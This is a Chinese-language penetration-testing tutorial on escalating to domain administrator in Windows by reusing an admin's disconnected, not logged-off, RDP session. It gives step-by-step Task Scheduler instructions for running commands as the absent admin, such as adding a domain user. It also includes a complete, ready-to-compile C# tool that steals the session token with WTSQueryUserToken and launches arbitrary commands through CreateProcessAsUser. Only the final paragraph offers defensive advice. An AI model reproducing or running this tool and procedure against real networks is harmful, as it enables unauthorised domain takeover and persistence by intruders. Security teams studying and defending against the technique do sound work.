当域管理员登录了攻击者可控的普通域内机器进行运维或排查,结束后退出3389时没有正确注销账户,而是直接关闭了远程桌面窗口,这会带来什么风险?你可能会首先想到抓取密码,但如果抓不到明文密码,又或者无法进行PTH(Pass-the-Hash)攻击呢?这里存在另一种隐蔽的提权路径。
通过计划任务完成域内提权
首先,我们来模拟这样一个场景:域管登录了攻击者可控的普通域内机器,然后直接关闭了3389远程桌面连接。

如图所示,管理员账户的会话状态为“断开”,而非“注销”。此时,攻击者就可以利用这个断开的会话进行提权操作。以下以添加域用户为例,演示通过Windows计划任务实现的流程:新建计划任务 -> 选择域管用户 -> 执行命令。
首先,在创建任务时,需要将“运行任务时,请使用下列用户帐户”指定为那个已断开连接的域管账户。关键步骤在于点击“更改用户或组”后,在查找位置中选择整个域。

然后,在域内用户列表中,选择那个已断开连接的管理员账户。

接着,在“操作”选项卡中,设置要启动的命令。例如,添加一个域用户。

运行此计划任务后,可以验证命令已成功执行,域内用户被添加。

你可能会问,是否可以选择任意域内用户来运行任务?答案是否定的。如果选择的用户没有活动的登录会话(特别是控制台或RDP会话),任务将会失败,并提示“用户未登录”。

原理分析
其原理并不复杂,核心在于获取已登录用户会话的Token,然后利用CreateProcessAsUser这个API模拟该用户的Token来创建新进程。这就绕过了常规的权限检查,直接以目标用户(如域管)的身份执行命令。
下面提供了实现这一过程的完整C#代码。代码的核心是利用WTSQueryUserToken函数通过RDP会话ID获取对应的用户Token,然后使用CreateProcessAsUser创建进程。
using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
return;
}
int sessionId;
if (!int.TryParse(args[0], out sessionId))
{
Console.WriteLine("Invalid session ID");
return;
}
string command = args[1];
IntPtr userToken = IntPtr.Zero;
IntPtr envBlock = IntPtr.Zero;
try
{
// Get user token for the specified session
bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
if (!tokenResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Create environment block
bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
if (!envResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Prepare startup info
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "winsta0\\default";
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
// Create process as user
bool processResult = CreateProcessAsUser(
userToken,
null,
command,
IntPtr.Zero,
IntPtr.Zero,
false,
0x00000400, // CREATE_UNICODE_ENVIRONMENT
envBlock,
null,
ref startupInfo,
out processInfo);
if (!processResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
// Clean up process handles
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
catch (Exception ex)
{
Console.WriteLine("Error: {0}", ex.Message);
}
finally
{
// Clean up resources
if (envBlock != IntPtr.Zero)
{
DestroyEnvironmentBlock(envBlock);
}
if (userToken != IntPtr.Zero)
{
CloseHandle(userToken);
}
}
}
}
将上述代码编译为可执行文件(例如 RdpSessionExecutor.exe)后进行测试。传入目标RDP会话ID和要执行的命令。

执行后,验证用户是否成功添加。

可以看到,成功窃取了断开会话的Token并以此身份添加了域内用户。这种方法比图形化的计划任务更直接,是渗透测试和安全研究中需要了解的权限维持技巧。
总结
本文演示并剖析了一种在Windows域环境中,利用管理员断开但未注销的RDP会话进行提权的方法。无论是通过系统自带的计划任务工具,还是通过自定义程序调用底层API,其本质都是对有效用户Token的复用。这提醒我们,在安全运维中,不仅要注意密码凭证的保护,对会话生命周期的管理同样重要,离开时务必完全注销而非直接断开连接。